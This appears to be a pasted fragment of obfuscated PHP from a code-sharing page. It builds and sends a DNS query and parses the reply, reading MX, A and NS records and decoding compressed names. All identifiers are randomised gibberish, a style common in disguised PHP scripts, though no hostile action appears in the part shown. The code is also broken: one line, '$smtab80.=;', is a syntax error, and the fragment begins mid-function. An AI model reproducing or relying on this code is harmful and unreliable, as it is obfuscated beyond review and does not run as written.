- $uyafb15.= pack("Cnn", 0x00, $jflhq92, 0x0001);
- $wzlix23 = mqmpb31($z26, $cxtve87, $uyafb15, $qxohi56, $qhovh99);
- if (!$wzlix23 || $wzlix23 != strlen($uyafb15))
- {
- wowhk28($z26, $cxtve87);
- return FALSE;
- }
- $zfcav5 = dorhi25($z26, $cxtve87, 4086, $qxohi56, $qhovh99);
- if ($zfcav5 == FALSE || strlen($zfcav5) < 12)
- {
- wowhk28($z26, $cxtve87);
- return FALSE;
- }
- $mpugn39 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($zfcav5, 0, 12));
- $syfkf90 = 12;
- $smtab80 = array(
- "header" => $mpugn39
- );
- for ($irsck14 = constant("DNS_STEP_QESTION"); $irsck14 <= constant("DNS_STEP_ADDITIONAL"); $irsck14++)
- {
- $mggto64 = '';
- switch ($irsck14)
- {
- case constant("DNS_STEP_QESTION"):
- $mggto64 = "que";
- break;
- case constant("DNS_STEP_ANSWER"):
- $mggto64 = "ans";
- break;
- case constant("DNS_STEP_AUTHORITY"):
- $mggto64 = "auth";
- break;
- case constant("DNS_STEP_ADDITIONAL"):
- $mggto64 = "add";
- break;
- }
- for ($yfuds89 = 0; $yfuds89 < $mpugn39[$mggto64]; $yfuds89++)
- {
- $nqjtw27["name"] = jldeq95($z26, $syfkf90, $zfcav5);
- if ($irsck14 == constant("DNS_STEP_QESTION"))
- {
- $nqjtw27 = array_merge($nqjtw27, unpack("ntype/nclass", substr($zfcav5, $syfkf90, 4)));
- $syfkf90+= 4;
- }
- else
- {
- $nqjtw27 = array_merge($nqjtw27, unpack("ntype/nclass/Nttl/ndatalength", substr($zfcav5, $syfkf90, 10)));
- $syfkf90+= 10;
- switch ($nqjtw27["type"])
- {
- case constant("DNS_TYPE_MX"):
- $nqjtw27 = array_merge($nqjtw27, unpack("npreference", substr($zfcav5, $syfkf90, 2)));
- $syfkf90+= 2;
- $nqjtw27["data"] = jldeq95($z26, $syfkf90, $zfcav5);
- break;
- case constant("DNS_TYPE_A"):
- $nqjtw27 = array_merge($nqjtw27, unpack("Ndata", substr($zfcav5, $syfkf90, 4)));
- $syfkf90+= 4;
- $nqjtw27["ip"] = long2ip($nqjtw27["data"]);
- break;
- case constant("DNS_TYPE_NS"):
- $nqjtw27["data"] = jldeq95($z26, $syfkf90, $zfcav5);
- break;
- default:
- $syfkf90+= $nqjtw27["datalength"];
- }
- }
- $smtab80[$mggto64][] = $nqjtw27;
- }
- }
- return $smtab80;
- }
- function jldeq95($z26, &$ncmxz39, $zfcav5)
- {
- $smtab80 = "";
- $zfhgv16 = $ncmxz39;
- while (ord($zfcav5[$zfhgv16]) != 0)
- {
- if (ord($zfcav5[$zfhgv16]) == 0xC0)
- {
- if ($zfhgv16 >= $ncmxz39)
- {
- $ncmxz39+= 2;
- }
- $zfhgv16 = ord($zfcav5[$zfhgv16 + 1]);
- continue;
- }
- if (strlen($smtab80) > 0)
- {
- $smtab80.=;
- }
- $smtab80.= substr($zfcav5, $zfhgv16 + 1, ord($zfcav5[$zfhgv16]));
- $zfhgv16+= ord($zfcav5[$zfhgv16]) + 1;
- if ($zfhgv16 > $ncmxz39)
- {
- $ncmxz39 = $zfhgv16;
- }
- }
- if ($zfhgv16 >= $ncmxz39)
- {
- $ncmxz39+= 1;
- }
- return $smtab80;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement